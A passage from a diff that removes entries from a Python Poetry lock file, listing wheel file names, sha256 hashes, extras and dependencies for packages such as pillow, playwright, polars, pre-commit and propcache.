"sha256:7aee118e30a4cf54fdd873bd3a29de51e29105ab11f9aad8c32123f58c8f8081"}, - {file = "pillow-11.3.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:23cff760a9049c502721bdb743a7cb3e03365fafcdfc2ef9784610714166e5a4"}, - {file = "pillow-11.3.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6359a3bc43f57d5b375d1ad54a0074318a0844d11b76abccf478c37c986d3cfc"}, - {file = "pillow-11.3.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:092c80c76635f5ecb10f3f83d76716165c96f5229addbd1ec2bdbbda7d496e06"}, - {file = "pillow-11.3.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cadc9e0ea0a2431124cde7e1697106471fc4c1da01530e679b2391c37d3fbb3a"}, - {file = "pillow-11.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:6a418691000f2a418c9135a7cf0d797c1bb7d9a485e61fe8e7722845b95ef978"}, - {file = "pillow-11.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:97afb3a00b65cc0804d1c7abddbf090a81eaac02768af58cbdcaaa0a931e0b6d"}, - {file = "pillow-11.3.0-cp39-cp39-win32.whl", hash = "sha256:ea944117a7974ae78059fcc1800e5d3295172bb97035c0c1d9345fca1419da71"}, - {file = "pillow-11.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:e5c5858ad8ec655450a7c7df532e9842cf8df7cc349df7225c60d5d348c8aada"}, - {file = "pillow-11.3.0-cp39-cp39-win_arm64.whl", hash = "sha256:6abdbfd3aea42be05702a8dd98832329c167ee84400a1d1f61ab11437f1717eb"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3cee80663f29e3843b68199b9d6f4f54bd1d4a6b59bdd91bceefc51238bcb967"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:b5f56c3f344f2ccaf0dd875d3e180f631dc60a51b314295a3e681fe8cf851fbe"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e67d793d180c9df62f1f40aee3accca4829d3794c95098887edc18af4b8b780c"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d000f46e2917c705e9fb93a3606ee4a819d1e3aa7a9b442f6444f07e77cf5e25"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:527b37216b6ac3a12d7838dc3bd75208ec57c1c6d11ef01902266a5a0c14fc27"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:be5463ac478b623b9dd3937afd7fb7ab3d79dd290a28e2b6df292dc75063eb8a"}, - {file = "pillow-11.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:8dc70ca24c110503e16918a658b869019126ecfe03109b754c402daff12b3d9f"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7c8ec7a017ad1bd562f93dbd8505763e688d388cde6e4a010ae1486916e713e6"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:9ab6ae226de48019caa8074894544af5b53a117ccb9d3b3dcb2871464c829438"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fe27fb049cdcca11f11a7bfda64043c37b30e6b91f10cb5bab275806c32f6ab3"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:465b9e8844e3c3519a983d58b80be3f668e2a7a5db97f2784e7079fbc9f9822c"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5418b53c0d59b3824d05e029669efa023bbef0f3e92e75ec8428f3799487f361"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:504b6f59505f08ae014f724b6207ff6222662aab5cc9542577fb084ed0676ac7"}, - {file = "pillow-11.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c84d689db21a1c397d001aa08241044aa2069e7587b398c8cc63020390b1c1b8"}, - {file = "pillow-11.3.0.tar.gz", hash = "sha256:3828ee7586cd0b2091b6209e5ad53e20d0649bbe87164a459d0676e035e8f523"}, -] - -[package.extras] -docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-autobuild", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] -fpx = ["olefile"] -mic = ["olefile"] -test-arrow = ["pyarrow"] -tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "trove-classifiers (>=2024.10.12)"] -typing = ["typing-extensions"] -xmp = ["defusedxml"] - -[[package]] -name = "platformdirs" -version = "4.3.8" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "platformdirs-4.3.8-py3-none-any.whl", hash = "sha256:ff7059bb7eb1179e2685604f4aaf157cfd9535242bd23742eadc3c13542139b4"}, - {file = "platformdirs-4.3.8.tar.gz", hash = "sha256:3d512d96e16bcb959a814c9f348431070822a6496326a4be0911c40b5a74c2bc"}, -] - -[package.extras] -docs = ["furo (>=2024.8.6)", "proselint (>=0.14)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.3.4)", "pytest-cov (>=6)", "pytest-mock (>=3.14)"] -type = ["mypy (>=1.14.1)"] - -[[package]] -name = "playwright" -version = "1.54.0" -description = "A high-level API to automate web browsers" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "playwright-1.54.0-py3-none-macosx_10_13_x86_64.whl", hash = "sha256:bf3b845af744370f1bd2286c2a9536f474cc8a88dc995b72ea9a5be714c9a77d"}, - {file = "playwright-1.54.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:780928b3ca2077aea90414b37e54edd0c4bbb57d1aafc42f7aa0b3fd2c2fac02"}, - {file = "playwright-1.54.0-py3-none-macosx_11_0_universal2.whl", hash = "sha256:81d0b6f28843b27f288cfe438af0a12a4851de57998009a519ea84cee6fbbfb9"}, - {file = "playwright-1.54.0-py3-none-manylinux1_x86_64.whl", hash = "sha256:09919f45cc74c64afb5432646d7fef0d19fff50990c862cb8d9b0577093f40cc"}, - {file = "playwright-1.54.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13ae206c55737e8e3eae51fb385d61c0312eeef31535643bb6232741b41b6fdc"}, - {file = "playwright-1.54.0-py3-none-win32.whl", hash = "sha256:0b108622ffb6906e28566f3f31721cd57dda637d7e41c430287804ac01911f56"}, - {file = "playwright-1.54.0-py3-none-win_amd64.whl", hash = "sha256:9e5aee9ae5ab1fdd44cd64153313a2045b136fcbcfb2541cc0a3d909132671a2"}, - {file = "playwright-1.54.0-py3-none-win_arm64.whl", hash = "sha256:a975815971f7b8dca505c441a4c56de1aeb56a211290f8cc214eeef5524e8d75"}, -] - -[package.dependencies] -greenlet = ">=3.1.1,<4.0.0" -pyee = ">=13,<14" - -[[package]] -name = "pluggy" -version = "1.6.0" -description = "plugin and hook calling mechanisms for python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, - {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, -] - -[package.extras] -dev = ["pre-commit", "tox"] -testing = ["coverage", "pytest", "pytest-benchmark"] - -[[package]] -name = "polars" -version = "1.32.2" -description = "Blazingly fast DataFrame library" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "polars-1.32.2-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:f21da6a5210898ec800b7e9e667fb53eb9161b7ceb812ee6555ff5661a00e517"}, - {file = "polars-1.32.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:d3f4e061312ef6c2a907378ce407a6132734fe1a13f261a1984a1a9ca2f6febc"}, - {file = "polars-1.32.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a711a750cfc19f1f883d2b46895dd698abf4d446ca41c3bf510ced0ff1178057"}, - {file = "polars-1.32.2-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:d1c53a828eedc215fb0dabc7cef02c6f4ad042157512ddb99840fd42b8da1e8a"}, - {file = "polars-1.32.2-cp39-abi3-win_amd64.whl", hash = "sha256:5e1660a584e89e1d60cd89984feca38a695e491a966581fefe8be99c230ea154"}, - {file = "polars-1.32.2-cp39-abi3-win_arm64.whl", hash = "sha256:cd390364f6f3927474bd0aed255103195b9d2b3eef0f0c5bb429db5e6311615e"}, - {file = "polars-1.32.2.tar.gz", hash = "sha256:b4c5cefc7cf7a2461f8800cf2c09976c47cb1fd959c6ef3024d5618b497f05d3"}, -] - -[package.extras] -adbc = ["adbc-driver-manager[dbapi]", "adbc-driver-sqlite[dbapi]"] -all = ["polars[async,cloudpickle,database,deltalake,excel,fsspec,graph,iceberg,numpy,pandas,plot,pyarrow,pydantic,style,timezone]"] -async = ["gevent"] -calamine = ["fastexcel (>=0.9)"] -cloudpickle = ["cloudpickle"] -connectorx = ["connectorx (>=0.3.2)"] -database = ["polars[adbc,connectorx,sqlalchemy]"] -deltalake = ["deltalake (>=1.0.0)"] -excel = ["polars[calamine,openpyxl,xlsx2csv,xlsxwriter]"] -fsspec = ["fsspec"] -gpu = ["cudf-polars-cu12"] -graph = ["matplotlib"] -iceberg = ["pyiceberg (>=0.7.1)"] -numpy = ["numpy (>=1.16.0)"] -openpyxl = ["openpyxl (>=3.0.0)"] -pandas = ["pandas", "polars[pyarrow]"] -plot = ["altair (>=5.4.0)"] -polars-cloud = ["polars-cloud (>=0.0.1a1)"] -pyarrow = ["pyarrow (>=7.0.0)"] -pydantic = ["pydantic"] -sqlalchemy = ["polars[pandas]", "sqlalchemy"] -style = ["great-tables (>=0.8.0)"] -timezone = ["tzdata"] -xlsx2csv = ["xlsx2csv (>=0.8.0)"] -xlsxwriter = ["xlsxwriter"] - -[[package]] -name = "pre-commit" -version = "4.3.0" -description = "A framework for managing and maintaining multi-language pre-commit hooks." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pre_commit-4.3.0-py2.py3-none-any.whl", hash = "sha256:2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8"}, - {file = "pre_commit-4.3.0.tar.gz", hash = "sha256:499fe450cc9d42e9d58e606262795ecb64dd05438943c62b66f6a8673da30b16"}, -] - -[package.dependencies] -cfgv = ">=2.0.0" -identify = ">=1.0.0" -nodeenv = ">=0.11.1" -pyyaml = ">=5.1" -virtualenv = ">=20.10.0" - -[[package]] -name = "prompt-toolkit" -version = "3.0.51" -description = "Library for building powerful interactive command lines in Python" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "prompt_toolkit-3.0.51-py3-none-any.whl", hash = "sha256:52742911fde84e2d423e2f9a4cf1de7d7ac4e51958f648d9540e0fb8db077b07"}, - {file = "prompt_toolkit-3.0.51.tar.gz", hash = "sha256:931a162e3b27fc90c86f1b48bb1fb2c528c2761475e57c9c06de13311c7b54ed"}, -] - -[package.dependencies] -wcwidth = "*" - -[[package]] -name = "propcache" -version = "0.3.2" -description = "Accelerated property cache" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "propcache-0.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:22d9962a358aedbb7a2e36187ff273adeaab9743373a272976d2e348d08c7770"}, - {file = "propcache-0.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0d0fda578d1dc3f77b6b5a5dce3b9ad69a8250a891760a548df850a5e8da87f3"}, - {file = "propcache-0.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3def3da3ac3ce41562d85db655d18ebac740cb3fa4367f11a52b3da9d03a5cc3"}, - {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bec58347a5a6cebf239daba9bda37dffec5b8d2ce004d9fe4edef3d2815137e"}, - {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55ffda449a507e9fbd4aca1a7d9aa6753b07d6166140e5a18d2ac9bc49eac220"}, - {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:64a67fb39229a8a8491dd42f864e5e263155e729c2e7ff723d6e25f596b1e8cb"}, - {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9da1cf97b92b51253d5b68cf5a2b9e0dafca095e36b7f2da335e27dc6172a614"}, - {file = "propcache-0.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5f559e127134b07425134b4065be45b166183fdcb433cb6c24c8e4149056ad50"}, - {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aff2e4e06435d61f11a428360a932138d0ec288b0a31dd9bd78d200bd4a2b339"}, - {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:4927842833830942a5d0a56e6f4839bc484785b8e1ce8d287359794818633ba0"}, - {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:6107ddd08b02654a30fb8ad7a132021759d750a82578b94cd55ee2772b6ebea2"}, - {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:70bd8b9cd6b519e12859c99f3fc9a93f375ebd22a50296c3a295028bea73b9e7"}, - {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2183111651d710d3097338dd1893fcf09c9f54e27ff1a8795495a16a469cc90b"}, - {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fb075ad271405dcad8e2a7ffc9a750a3bf70e533bd86e89f0603e607b93aa64c"}, - {file = "propcache-0.3.2-cp310-cp310-win32.whl", hash = "sha256:404d70768080d3d3bdb41d0771037da19d8340d50b08e104ca0e7f9ce55fce70"}, - {file = "propcache-0.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:7435d766f978b4ede777002e6b3b6641dd229cd1da8d3d3106a45770365f9ad9"}, - {file = "propcache-0.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0b8d2f607bd8f80ddc04088bc2a037fdd17884a6fcadc47a96e334d72f3717be"}, - {file = "propcache-0.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:06766d8f34733416e2e34f46fea488ad5d60726bb9481d3cddf89a6fa2d9603f"}, - {file = "propcache-0.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2dc1f4a1df4fecf4e6f68013575ff4af84ef6f478fe5344317a65d38a8e6dc9"}, - {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:be29c4f4810c5789cf10ddf6af80b041c724e629fa51e308a7a0fb19ed1ef7bf"}, - {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:59d61f6970ecbd8ff2e9360304d5c8876a6abd4530cb752c06586849ac8a9dc9"}, - {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:62180e0b8dbb6b004baec00a7983e4cc52f5ada9cd11f48c3528d8cfa7b96a66"}, - {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c144ca294a204c470f18cf4c9d78887810d04a3e2fbb30eea903575a779159df"}, - {file = "propcache-0.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5c2a784234c28854878d68978265617aa6dc0780e53d44b4d67f3651a17a9a2"}, - {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5745bc7acdafa978ca1642891b82c19238eadc78ba2aaa293c6863b304e552d7"}, - {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c0075bf773d66fa8c9d41f66cc132ecc75e5bb9dd7cce3cfd14adc5ca184cb95"}, - {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5f57aa0847730daceff0497f417c9de353c575d8da3579162cc74ac294c5369e"}, - {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:eef914c014bf72d18efb55619447e0aecd5fb7c2e3fa7441e2e5d6099bddff7e"}, - {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:2a4092e8549031e82facf3decdbc0883755d5bbcc62d3aea9d9e185549936dcf"}, - {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:85871b050f174bc0bfb437efbdb68aaf860611953ed12418e4361bc9c392749e"}, - {file = "propcache-0.3.2-cp311-cp311-win32.whl", hash = "sha256:36c8d9b673ec57900c3554264e630d45980fd302458e4ac801802a7fd2ef7897"}, - {file = "propcache-0.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:e53af8cb6a781b02d2ea079b5b853ba9430fcbe18a8e3ce647d5982a3ff69f39"}, - {file = "propcache-0.3.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:8de106b6c84506b31c27168582cd3cb3000a6412c16df14a8628e5871ff83c10"}, - {file = "propcache-0.3.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:28710b0d3975117239c76600ea351934ac7b5ff56e60953474342608dbbb6154"}, - {file = "propcache-0.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce26862344bdf836650ed2487c3d724b00fbfec4233a1013f597b78c1cb73615"}, - {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bca54bd347a253af2cf4544bbec232ab982f4868de0dd684246b67a51bc6b1db"}, - {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55780d5e9a2ddc59711d727226bb1ba83a22dd32f64ee15594b9392b1f544eb1"}, - {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:035e631be25d6975ed87ab23153db6a73426a48db688070d925aa27e996fe93c"}, - {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee6f22b6eaa39297c751d0e80c0d3a454f112f5c6481214fcf4c092074cecd67"}, - {file = "propcache-0.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ca3aee1aa955438c4dba34fc20a9f390e4c79967257d830f137bd5a8a32ed3b"}, - {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7a4f30862869fa2b68380d677cc1c5fcf1e0f2b9ea0cf665812895c75d0ca3b8"}, - {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b77ec3c257d7816d9f3700013639db7491a434644c906a2578a11daf13176251"}, - {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cab90ac9d3f14b2d5050928483d3d3b8fb6b4018893fc75710e6aa361ecb2474"}, - {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:0b504d29f3c47cf6b9e936c1852246c83d450e8e063d50562115a6be6d3a2535"}, - {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:ce2ac2675a6aa41ddb2a0c9cbff53780a617ac3d43e620f8fd77ba1c84dcfc06"}, - {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:62b4239611205294cc433845b914131b2a1f03500ff3c1ed093ed216b82621e1"}, - {file = "propcache-0.3.2-cp312-cp312-win32.whl", hash = "sha256:df4a81b9b53449ebc90cc4deefb052c1dd934ba85012aa912c7ea7b7e38b60c1"}, - {file = "propcache-0.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:7046e79b989d7fe457bb755844019e10f693752d169076138abf17f31380800c"}, - {file = "propcache-0.3.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ca592ed634a73ca002967458187109265e980422116c0a107cf93d81f95af945"}, - {file = "propcache-0.3.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9ecb0aad4020e275652ba3975740f241bd12a61f1a784df044cf7477a02bc252"}, - {file = "propcache-0.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7f08f1cc28bd2eade7a8a3d2954ccc673bb02062e3e7da09bc75d843386b342f"}, - {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1a342c834734edb4be5ecb1e9fb48cb64b1e2320fccbd8c54bf8da8f2a84c33"}, - {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8a544caaae1ac73f1fecfae70ded3e93728831affebd017d53449e3ac052ac1e"}, - {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:310d11aa44635298397db47a3ebce7db99a4cc4b9bbdfcf6c98a60c8d5261cf1"}, - {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c1396592321ac83157ac03a2023aa6cc4a3cc3cfdecb71090054c09e5a7cce3"}, - {file = "propcache-0.3.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8cabf5b5902272565e78197edb682017d21cf3b550ba0460ee473753f28d23c1"}, - {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0a2f2235ac46a7aa25bdeb03a9e7060f6ecbd213b1f9101c43b3090ffb971ef6"}, - {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:92b69e12e34869a6970fd2f3da91669899994b47c98f5d430b781c26f1d9f387"}, - {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:54e02207c79968ebbdffc169591009f4474dde3b4679e16634d34c9363ff56b4"}, - {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4adfb44cb588001f68c5466579d3f1157ca07f7504fc91ec87862e2b8e556b88"}, - {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:fd3e6019dc1261cd0291ee8919dd91fbab7b169bb76aeef6c716833a3f65d206"}, - {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4c181cad81158d71c41a2bce88edce078458e2dd5ffee7eddd6b05da85079f43"}, - {file = "propcache-0.3.2-cp313-cp313-win32.whl", hash = "sha256:8a08154613f2249519e549de2330cf8e2071c2887309a7b07fb56098f5170a02"}, - {file = "propcache-0.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:e41671f1594fc4ab0a6dec1351864713cb3a279910ae8b58f884a88a0a632c05"}, - {file = "propcache-0.3.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:9a3cf035bbaf035f109987d9d55dc90e4b0e36e04bbbb95af3055ef17194057b"}, - {file = "propcache-0.3.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:156c03d07dc1323d8dacaa221fbe028c5c70d16709cdd63502778e6c3ccca1b0"}, - {file = "propcache-0.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:74413c0ba02ba86f55cf60d18daab219f7e531620c15f1e23d95563f505efe7e"}, - {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f066b437bb3fa39c58ff97ab2ca351db465157d68ed0440abecb21715eb24b28"}, - {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f1304b085c83067914721e7e9d9917d41ad87696bf70f0bc7dee450e9c71ad0a"}, - {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ab50cef01b372763a13333b4e54021bdcb291fc9a8e2ccb9c2df98be51bcde6c"}, - {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fad3b2a085ec259ad2c2842666b2a0a49dea8463579c606426128925af1ed725"}, - {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:261fa020c1c14deafd54c76b014956e2f86991af198c51139faf41c4d5e83892"}, - {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:46d7f8aa79c927e5f987ee3a80205c987717d3659f035c85cf0c3680526bdb44"}, - {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:6d8f3f0eebf73e3c0ff0e7853f68be638b4043c65a70517bb575eff54edd8dbe"}, - {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:03c89c1b14a5452cf15403e291c0ccd7751d5b9736ecb2c5bab977ad6c5bcd81"}, - {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:0cc17efde71e12bbaad086d679ce575268d70bc123a5a71ea7ad76f70ba30bba"}, - {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:acdf05d00696bc0447e278bb53cb04ca72354e562cf88ea6f9107df8e7fd9770"}, - {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4445542398bd0b5d32df908031cb1b30d43ac848e20470a878b770ec2dcc6330"}, - {file = "propcache-0.3.2-cp313-cp313t-win32.whl", hash = "sha256:f86e5d7cd03afb3a1db8e9f9f6eff15794e79e791350ac48a8c924e6f439f394"}, - {file = "propcache-0.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:9704bedf6e7cbe3c65eca4379a9b53ee6a83749f047808cbb5044d40d7d72198"}, - {file = "propcache-0.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a7fad897f14d92086d6b03fdd2eb844777b0c4d7ec5e3bac0fbae2ab0602bbe5"}, - {file = "propcache-0.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1f43837d4ca000243fd7fd6301947d7cb93360d03cd08369969450cc6b2ce3b4"}, - {file = "propcache-0.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:261df2e9474a5949c46e962065d88eb9b96ce0f2bd30e9d3136bcde84befd8f2"}, - {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e514326b79e51f0a177daab1052bc164d9d9e54133797a3a58d24c9c87a3fe6d"}, - {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d4a996adb6904f85894570301939afeee65f072b4fd265ed7e569e8d9058e4ec"}, - {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:76cace5d6b2a54e55b137669b30f31aa15977eeed390c7cbfb1dafa8dfe9a701"}, - {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31248e44b81d59d6addbb182c4720f90b44e1efdc19f58112a3c3a1615fb47ef"}, - {file = "propcache-0.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abb7fa19dbf88d3857363e0493b999b8011eea856b846305d8c0512dfdf8fbb1"}, - {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d81ac3ae39d38588ad0549e321e6f773a4e7cc68e7751524a22885d5bbadf886"}, - {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:cc2782eb0f7a16462285b6f8394bbbd0e1ee5f928034e941ffc444012224171b"}, - {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:db429c19a6c7e8a1c320e6a13c99799450f411b02251fb1b75e6217cf4a14fcb"}, - {file = 